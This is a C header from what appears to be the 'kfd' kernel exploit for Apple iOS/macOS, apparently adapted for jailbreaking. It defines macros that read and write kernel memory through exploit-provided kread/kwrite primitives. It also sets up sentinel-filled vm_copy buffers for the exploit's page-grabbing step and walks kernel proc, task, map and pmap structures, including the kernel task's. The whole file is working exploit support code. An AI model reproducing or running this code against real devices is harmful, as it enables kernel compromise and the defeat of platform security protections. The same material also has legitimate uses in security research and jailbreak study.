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info.h
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info.h
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/*
* Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.
*/
#ifndef info_h
#define info_h
#include "info/dynamic_info.h"
#include "info/static_info.h"
/*
* Note that these macros assume that the kfd pointer is in scope.
*/
#define dynamic_info(field_name) (kern_versions[kfd->info.env.vid].field_name)
#define dynamic_kget(field_name, object_kaddr) \
({ \
u64 tmp_buffer = 0; \
u64 field_kaddr = (u64)(object_kaddr) + dynamic_info(field_name); \
kread((u64)(kfd), (field_kaddr), (&tmp_buffer), (sizeof(tmp_buffer))); \
tmp_buffer; \
})
#define dynamic_kset(field_name, new_value, object_kaddr) \
do { \
u64 tmp_buffer = new_value; \
u64 field_kaddr = (u64)(object_kaddr) + dynamic_info(field_name); \
kwrite((u64)(kfd), (&tmp_buffer), (field_kaddr), (sizeof(tmp_buffer))); \
} while (0)
#define static_kget(object_name, field_name, object_kaddr) \
({ \
u64 tmp_buffer = 0; \
u64 field_kaddr = (u64)(object_kaddr) + offsetof(object_name, field_name); \
kread((u64)(kfd), (field_kaddr), (&tmp_buffer), (sizeof(tmp_buffer))); \
tmp_buffer; \
})
#define static_kset(object_name, field_name, new_value, object_kaddr) \
do { \
u64 tmp_buffer = new_value; \
u64 field_kaddr = (u64)(object_kaddr) + offsetof(object_name, field_name); \
kwrite((u64)(kfd), (&tmp_buffer), (field_kaddr), (sizeof(tmp_buffer))); \
} while (0)
const char info_copy_sentinel[] = "p0up0u was here";
const u64 info_copy_sentinel_size = sizeof(info_copy_sentinel);
void info_init(struct kfd* kfd)
{
/*
* Initialize the kfd->info.copy substructure.
*
* Note that the vm_copy() call in krkw_helper_grab_free_pages() makes the following assumptions:
* - The size of the copy must be strictly greater than msg_ool_size_small.
* - The source object must have a copy strategy of MEMORY_OBJECT_COPY_NONE.
* - The destination object must have a copy strategy of MEMORY_OBJECT_COPY_SYMMETRIC.
*/
kfd->info.copy.size = pages(4);
assert(kfd->info.copy.size > msg_ool_size_small);
assert_mach(vm_allocate(mach_task_self(), &kfd->info.copy.src_uaddr, kfd->info.copy.size, VM_FLAGS_ANYWHERE | VM_FLAGS_PURGABLE));
assert_mach(vm_allocate(mach_task_self(), &kfd->info.copy.dst_uaddr, kfd->info.copy.size, VM_FLAGS_ANYWHERE));
for (u64 offset = pages(0); offset < kfd->info.copy.size; offset += pages(1)) {
bcopy(info_copy_sentinel, (void*)(kfd->info.copy.src_uaddr + offset), info_copy_sentinel_size);
bcopy(info_copy_sentinel, (void*)(kfd->info.copy.dst_uaddr + offset), info_copy_sentinel_size);
}
/*
* Initialize the kfd->info.env substructure.
*/
kfd->info.env.pid = getpid();
print_i32(kfd->info.env.pid);
thread_identifier_info_data_t data = {};
thread_info_t info = (thread_info_t)(&data);
mach_msg_type_number_t count = THREAD_IDENTIFIER_INFO_COUNT;
assert_mach(thread_info(mach_thread_self(), THREAD_IDENTIFIER_INFO, info, &count));
kfd->info.env.tid = data.thread_id;
print_u64(kfd->info.env.tid);
usize size1 = sizeof(kfd->info.env.maxfilesperproc);
assert_bsd(sysctlbyname("kern.maxfilesperproc", &kfd->info.env.maxfilesperproc, &size1, NULL, 0));
print_u64(kfd->info.env.maxfilesperproc);
struct rlimit rlim = { .rlim_cur = kfd->info.env.maxfilesperproc, .rlim_max = kfd->info.env.maxfilesperproc };
assert_bsd(setrlimit(RLIMIT_NOFILE, &rlim));
char kern_version[512] = {};
usize size2 = sizeof(kern_version);
assert_bsd(sysctlbyname("kern.version", &kern_version, &size2, NULL, 0));
print_string(kern_version);
kfd->info.env.vid = 0;
//set offset from static patchfinder
// kern_versions[kfd->info.env.vid].kernelcache__cdevsw = off_cdevsw;
// kern_versions[kfd->info.env.vid].kernelcache__gPhysBase = off_gPhysBase;
// kern_versions[kfd->info.env.vid].kernelcache__gPhysSize = off_gPhysSize;
// kern_versions[kfd->info.env.vid].kernelcache__gVirtBase = off_gVirtBase;
// kern_versions[kfd->info.env.vid].kernelcache__perfmon_dev_open = off_perfmon_dev_open;
// kern_versions[kfd->info.env.vid].kernelcache__perfmon_devices = off_perfmon_devices;
// kern_versions[kfd->info.env.vid].kernelcache__ptov_table = off_ptov_table;
// kern_versions[kfd->info.env.vid].kernelcache__vn_kqfilter = off_vn_kqfilter;
// kern_versions[kfd->info.env.vid].proc__object_size = off_proc_object_size;
//T8120(A16), T8103(M1), T8112(M2): t1sz_boot = 17;
//others: t1sz_boot = 25;
//Source: https://www.reddit.com/r/jailbreak/comments/15b9l7n/comment/jtssz14/?utm_source=share&utm_medium=web2x&context=3
if(strstr(get_kernversion(), "T8120") != NULL || strstr(get_kernversion(), "T8103") != NULL || strstr(get_kernversion(), "T8112") != NULL)
t1sz_boot = 17;
else
t1sz_boot = 25;
arm64_link_addr = get_vm_kernel_link_addr();
print_u64(kfd->info.env.vid);
// const u64 number_of_kern_versions = sizeof(kern_versions) / sizeof(kern_versions[0]);
// for (u64 i = 0; i < number_of_kern_versions; i++) {
// const char* current_kern_version = kern_versions[i].kern_version;
// if (!memcmp(kern_version, current_kern_version, strlen(current_kern_version))) {
// kfd->info.env.vid = i;
// print_u64(kfd->info.env.vid);
// return;
// }
// }
// assert_false("unsupported osversion");
}
void info_run(struct kfd* kfd)
{
timer_start();
/*
* current_task()
*/
assert(kfd->info.kaddr.current_proc);
kfd->info.kaddr.current_task = kfd->info.kaddr.current_proc + dynamic_info(proc__object_size);
print_x64(kfd->info.kaddr.current_proc);
print_x64(kfd->info.kaddr.current_task);
/*
* current_map()
*/
u64 signed_map_kaddr = dynamic_kget(task__map, kfd->info.kaddr.current_task);
kfd->info.kaddr.current_map = UNSIGN_PTR(signed_map_kaddr);
print_x64(kfd->info.kaddr.current_map);
/*
* current_pmap()
*/
u64 signed_pmap_kaddr = static_kget(struct _vm_map, pmap, kfd->info.kaddr.current_map);
kfd->info.kaddr.current_pmap = UNSIGN_PTR(signed_pmap_kaddr);
print_x64(kfd->info.kaddr.current_pmap);
if (kfd->info.kaddr.kernel_proc) {
/*
* kernel_task()
*/
kfd->info.kaddr.kernel_task = kfd->info.kaddr.kernel_proc + dynamic_info(proc__object_size);
print_x64(kfd->info.kaddr.kernel_proc);
print_x64(kfd->info.kaddr.kernel_task);
/*
* kernel_map()
*/
u64 signed_map_kaddr = dynamic_kget(task__map, kfd->info.kaddr.kernel_task);
kfd->info.kaddr.kernel_map = UNSIGN_PTR(signed_map_kaddr);
print_x64(kfd->info.kaddr.kernel_map);
/*
* kernel_pmap()
*/
u64 signed_pmap_kaddr = static_kget(struct _vm_map, pmap, kfd->info.kaddr.kernel_map);
kfd->info.kaddr.kernel_pmap = UNSIGN_PTR(signed_pmap_kaddr);
print_x64(kfd->info.kaddr.kernel_pmap);
}
timer_end();
}
void info_free(struct kfd* kfd)
{
assert_mach(vm_deallocate(mach_task_self(), kfd->info.copy.src_uaddr, kfd->info.copy.size));
assert_mach(vm_deallocate(mach_task_self(), kfd->info.copy.dst_uaddr, kfd->info.copy.size));
}
#endif /* info_h */